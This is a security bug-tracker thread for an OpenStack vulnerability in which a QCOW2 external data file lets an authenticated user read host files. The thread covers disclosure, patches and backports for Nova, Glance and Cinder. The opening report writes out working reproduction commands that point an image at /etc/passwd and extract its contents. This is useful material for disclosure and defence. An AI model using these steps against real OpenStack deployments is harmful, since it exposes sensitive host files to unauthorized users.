[OSSA-2024-001] Arbitrary file access through QCOW2 external data file (CVE-2024-32498)

[Martin Kaesberger]

OpenStack has security vulnerability in Nova or Glance, that allows an authenticated attacker to read arbitrary files.
QCOW2 has two mechanisms to read from another file. The backing file issue was reported and fixed with OSSA-2015-014, but the external data file was not discovered.

Steps to Reproduce:

- Create a disk image: `qemu-img create -f qcow2 -o data_file=abcdefghigh,data_file_raw=on disk.qcow2 1G` with `abcdefghigh` a placeholder of the same length as the file to read. `qemu-img` will zero it.
- Replace the filename in the disk image: `sed -i "s#abcdefghigh#/etc/passwd#" disk.qcow2`.
- Upload/register the disk image: `openstack image create --disk-format qcow2 --container-format bare --file "disk.qcow2" --private "my-image"`.
- Create a new instance: `openstack server create --flavor "nano" --image "my-image" "my-instance"`.

With the non-bootable instance there might be two ways to continue:

Option 1:
- Derive a new image: `openstack server image create --name "my-leak" "my-instance"`
- Download the image: `openstack image save --file "leak.qcow2" "my-leak"`
- The file content starts at guest cluster 0

Option 2: (this is untested because I reproduced it only in a production system)
- Reboot the instance in rescue mode: `openstack server rescue --image "cirros-0.6.2-x86_64-disk" "my-instance"`.
- Go to the Dashboard, open the console of the instance and login to the instance.
- Extract content from `/dev/sdb` with `cat /dev/sdb | fold -w 1024 | head -n 32`, `xxd -l 1024 -c 32 /dev/sdb` or similar methods.
- It might be possible to write to the host file. If the disk image is mounted with `qemu-nbd`, writes go through to the external data file.

[Jeremy Stanley (fungi)]

Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.

[Jeremy Stanley (fungi)]

My initial impression is that this seems like a fairly similar situation to https://security.openstack.org/ossa/OSSA-2023-002.html in which case we may want to involve the Cinder and Glance security reviewers too, but we'll start with Nova and see where it leads.

[Dan Smith (danms)]

It's also similar to an earlier one specifically referring to qcow files. We currently protect against the backing file of a qcow pointing somewhere, but it looks like this data_file option provides another route to get similar functionality. We will probably need similar mitigations in the same area we currently have them for backing files in nova, glance, and cinder.

[Dan Smith (danms)]

We're also all (I think) now using oslo.utils/imageutils to probe the qcow files. AFAICT, that does not expose the general list of extra options, so we'll need to augment oslo.utils as well.

EDIT: Yeah, it does, under "format-specific"

[Dan Smith (danms)]

Proposed patch to nova to detect and reject qcow2 images with data-file set

[Dan Smith (danms)]

Proposed patch to glance to detect and reject qcow2 images with data-file set

[Dan Smith (danms)]

I subscribed Brian Rosmaita who can evaluate the cinder impact and also review the glance patch.

[Brian Rosmaita (brian-rosmaita)]

Added Eric Harney for cinder.

[Brian Rosmaita (brian-rosmaita)]

Guess I should state explicitly that this also affects cinder, when it converts an image to raw format to write to a volume.

[Sylvain Bauza (sylvain-bauza)]

I agree with the design proposal which is about not accepting an image with a data-file set.
Nova doesn't need to use an external disk for a guest, so we could no longer support it.

I'll look at Dan's patch today.

[Sylvain Bauza (sylvain-bauza)]

Nova's patch proposed by Dan relies on the same mitigation provided in https://security.openstack.org/ossa/OSSA-2023-002.html where we rely on a metadata that was added in osloutils's imageutils.py module by https://github.com/openstack/oslo.utils/commit/2180db82b605cf84902ee379fffc0b34e17e92c7

This sounds to me the correct approach as we can backport it down to the last Maintained releases but any distro can also backport it further down to Ussuri if they want (exactly like OSSA-2023-002)

+1 on nova-2059809.patch but I'll test it on a dev environment.

[Jeremy Stanley (fungi)]

Martin Kaesberger: Did you notify any organizations about this other than reporting the bug to us? I just received a request from a public cloud provider for access to the bug report, which means the private embargo has been broken and we probably need to disclose this by switching to our public workflow immediately rather than continuing to work on it in private.

[Brian Rosmaita (brian-rosmaita)]

Updated cinder patch to include a release note.

[Jeremy Stanley (fungi)]

For now I'm subscribing some technical representatives from OVH (the provider on whose behalf I was contacted), on the assumption they were the only outside organization notified, so that they might assist with reviewing and testing the proposed fixes.

[Martin Kaesberger (mkaesberger)]

Jeremy Stanley: The reference to the production system the report refers to the fact that it was discovered in the OVHcloud. I reported it to them in private first and was referred here.

[Jeremy Stanley (fungi)]

Thanks for confirming. In this case it seems like we should be able to continue working on this in private for now, with added assistance from folks at OVH.

[Brian Rosmaita (brian-rosmaita)]

Dan's glance-2059809.patch LGTM.

[Dan Smith (danms)]

Nova backport for 2024.1

[Dan Smith (danms)]

Nova backport for 2023.2

[Dan Smith (danms)]

Nova backport for 2023.1

[Dan Smith (danms)]

Nova backport for zed

[Dan Smith (danms)]

Glance backport for 2024.1

[Dan Smith (danms)]

Glance backport for 2023.2

[Dan Smith (danms)]

Glance backport for 2023.1

[Dan Smith (danms)]

Glance backport for zed

[Eric Harney (eharney)]

brian-rosmaita's cinder-2059809.patch from comment #16 looks good to me.

[Brian Rosmaita (brian-rosmaita)]

Cinder patch for 2024.1 (Caracal)

[Brian Rosmaita (brian-rosmaita)]

Cinder patch for 2023.2 (Bobcat).

[Brian Rosmaita (brian-rosmaita)]

Cinder patch for 2023.1 (Antelope)

[Brian Rosmaita (brian-rosmaita)]

Cinder patch for Zed.

[Brian Rosmaita (brian-rosmaita)]

Cinder patch for unmaintained/yoga, as a courtesy.

[Brian Rosmaita (brian-rosmaita)]

@arnaud-morin: would you mind deleting your patches so that people don't get confused? Thanks!

[Jeremy Stanley (fungi)]

Martin Kaesberger: If there's any organization you're affiliated with and you'd like it credited along with your name, please let me know.

Here's a draft impact description, a quick review for any inaccuracies is appreciated so I can request a CVE assignment with it...

title: Arbitrary file access through custom QCOW2 external data

description: >
  Martin Kaesberger reported a vulnerability in QCOW2 image processing for
  Cinder, Glance and Nova. By supplying a specially created QCOW2 image which
  references a specific data file path, an authenticated user may convince
  systems to return a copy of that file's contents from the server resulting in
  unauthorized access to potentially sensitive data. All Cinder deployments are
  affected; only Glance deployments with image conversion enabled are affected;
  all Nova deployments are affected.

affected-products:
  - product: Cinder
    version: '<21.3.3, >=22.0.0 <22.1.2, >=23.0.0 <23.1.1, ==24.0.0'
  - product: Glance
    version: '<25.1.1, ==26.0.0, ==27.0.0, >=28.0.0 <28.0.2'
  - product: Nova
    version: '<26.2.3, >=27.0.0 <27.2.1, >=28.0.0 <28.0.2, >=29.0.0 <29.0.2'

[Brian Rosmaita (brian-rosmaita)]

Draft description LGTM, and the version lists check out.

[Jeremy Stanley (fungi)]

Please be aware that the comments added to this bug are already going out by E-mail automatically to more than 50 people, and will all become public at the time we issue our advisory (actually an hour prior so that we have time to get review link comments in and assemble them into the final publication). As it is, the late patch revisions on Friday resulted in requests from some downstream stakeholders to reschedule publication a second time (we really can't due to the two-week disclosure limit imposed by the linux-distros mailing list) because it's going to prevent them from having fixed patches ready to distribute to their users in time. I'm almost certain the last minute patch provided yesterday as pre-disclosure errata will not make it into initial versions of many fixes in distributions.

Any additional novel exploit paths to bypass the current protections really should be opened as separate private bugs at this point, because it will otherwise be quite impossible to provide advance copies to downstream stakeholders in the time we have remaining. We can still choose to treat those new bugs as post-advisory errata for today's publication or as completely separate advisories depending on the scope and relevance.

And thanks once again to everyone for all your help with this exceedingly complex situation.

[Jeremy Stanley (fungi)]

Also in regards to the advisory identifier, I have reserved OSSA-2024-001 for the upcoming publication.

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/glance/+/923248

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/glance/+/923249

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/glance/+/923251

[Jeremy Stanley (fungi)]

I've gone ahead and opened this bug a few minutes early so that we have time to collect Gerrit change URLs here prior to the advisory publication at 15:00 UTC (approximately 50 minutes from now). Patch owners, please push your fixes and backports to Gerrit now referencing this bug and using topic:bug/2059809 for ease of coordination. Thanks!

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/nova/+/923255

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/glance/+/923259

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/nova/+/923256

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/glance/+/923260

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/nova/+/923258

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/glance/+/923262

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/glance/+/923266

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/glance/+/923267

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/glance/+/923269

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/nova/+/923273

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/nova/+/923274

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/nova/+/923276

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/glance/+/923277

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/glance/+/923278

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/glance/+/923280

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/nova/+/923284

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/nova/+/923285

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/nova/+/923287

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/nova/+/923288

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/nova/+/923289

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/nova/+/923291

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/nova/+/923297

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/nova/+/923298

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/nova/+/923300

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/ossa/+/923301

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/glance/+/923304

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/glance/+/923305

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/glance/+/923307

[Jeremy Stanley (fungi)]

OSSA-2024-001 has been distributed to the usual public mailing lists (openstack-announce, openstack-discuss, oss-security).

Publication to the https://security.openstack.org/ site is pending CI/CD job completion, but is slow due in part to the resources consumed by all the project changes associated with the advisory.

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/cinder/+/923314

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/ossa/+/923301
Committed: https://opendev.org/openstack/ossa/commit/eaf70c7fc6530956e5f5060851866963637417a0
Submitter: "Zuul (22348)"
Branch: master

commit eaf70c7fc6530956e5f5060851866963637417a0
Author: Jeremy Stanley <email address hidden>
Date: Wed May 1 20:03:43 2024 +0000

    Add OSSA-2024-001 (CVE-2024-32498)

    Change-Id: Ie72ae3022020aaee9bf8c51795afbc6955d91888
    Closes-Bug: #2059809

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/nova/+/923317

[OpenStack Infra (hudson-openstack)]

Change abandoned by "sean mooney <email address hidden>" on branch: master
Review: https://review.opendev.org/c/openstack/nova/+/923317
Reason: this is now in patch 2

[Brian Rosmaita (brian-rosmaita)]

My cinder patch caused a regression that affected cloning encrypted volumes. I have updated the patch and left a comment explaining the error on the gerrit review for master:

https://review.opendev.org/c/openstack/cinder/+/923244/3#message-c3ed4868327690ea806ab7dff33de0a4f7ec5a3e

I had to move some code around and handle the way cinder calls the format_inspector differently. Since it's kind of a big difference, I'm waiting until the code is reviewed before posting the new patch and updating the stable branch patches. I'm anticipating that I will be able to get the updates done tomorrow.